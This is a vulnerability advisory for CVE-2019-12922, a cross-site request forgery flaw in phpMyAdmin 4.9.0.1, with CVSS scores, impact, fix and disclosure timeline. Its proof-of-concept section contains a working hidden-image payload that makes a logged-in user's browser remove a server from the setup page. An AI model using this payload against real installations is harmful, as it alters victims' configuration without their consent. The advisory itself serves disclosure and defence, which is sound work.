6.5 Medium
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
NONE
User Interaction
REQUIRED
Scope
UNCHANGED
Confidentiality Impact
NONE
Integrity Impact
HIGH
Availability Impact
NONE
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N
5.8 Medium
CVSS2
Access Vector
NETWORK
Access Complexity
MEDIUM
Authentication
NONE
Confidentiality Impact
NONE
Integrity Impact
PARTIAL
Availability Impact
PARTIAL
AV:N/AC:M/Au:N/C:N/I:P/A:P
phpMyAdmin 4.9.0.1 - Cross-Site Request Forgery
=============================================
MGC ALERT 2019-003
- Original release date: June 13, 2019
- Last revised: September 13, 2019
- Discovered by: Manuel Garcia Cardenas
- Severity: 4,3/10 (CVSS Base Score)
- CVE-ID: CVE-2019-12922
=============================================
I. VULNERABILITY
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phpMyAdmin 4.9.0.1 - Cross-Site Request Forgery
II. BACKGROUND
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phpMyAdmin is a free software tool written in PHP, intended to handle the
administration of MySQL over the Web. phpMyAdmin supports a wide range of
operations on MySQL and MariaDB.
III. DESCRIPTION
-------------------------
Has been detected a Cross-Site Request Forgery in phpMyAdmin, that allows
an attacker to trigger a CSRF attack against a phpMyAdmin user deleting any
server in the Setup page.
IV. PROOF OF CONCEPT
-------------------------
Exploit CSRF - Deleting main server
<p>Deleting Server 1</p>
<img src="
http://server/phpmyadmin/setup/index.php?page=servers&mode=remove&id=1"
style="display:none;" />
V. BUSINESS IMPACT
-------------------------
The attacker can easily create a fake hyperlink containing the request that
wants to execute on behalf the user,in this way making possible a CSRF
attack due to the wrong use of HTTP method.
VI. SYSTEMS AFFECTED
-------------------------
phpMyAdmin <= 4.9.0.1
VII. SOLUTION
-------------------------
Implement in each call the validation of the token variable, as already
done in other phpMyAdmin requests.
VIII. REFERENCES
-------------------------
https://www.phpmyadmin.net/
IX. CREDITS
-------------------------
This vulnerability has been discovered and reported
by Manuel Garcia Cardenas (advidsec (at) gmail (dot) com).
X. REVISION HISTORY
-------------------------
June 13, 2019 1: Initial release
September 13, 2019 2: Last revision
XI. DISCLOSURE TIMELINE
-------------------------
June 13, 2019 1: Vulnerability acquired by Manuel Garcia Cardenas
June 13, 2019 2: Send to vendor
July 16, 2019 3: New request to vendor without fix date
September 13, 2019 4: Sent to lists
XII. LEGAL NOTICES
-------------------------
The information contained within this advisory is supplied "as-is" with no
warranties or guarantees of fitness of use or otherwise.
XIII. ABOUT
-------------------------
Manuel Garcia Cardenas
Pentester
6.5 Medium
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
NONE
User Interaction
REQUIRED
Scope
UNCHANGED
Confidentiality Impact
NONE
Integrity Impact
HIGH
Availability Impact
NONE
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N
5.8 Medium
CVSS2
Access Vector
NETWORK
Access Complexity
MEDIUM
Authentication
NONE
Confidentiality Impact
NONE
Integrity Impact
PARTIAL
Availability Impact
PARTIAL
AV:N/AC:M/Au:N/C:N/I:P/A:P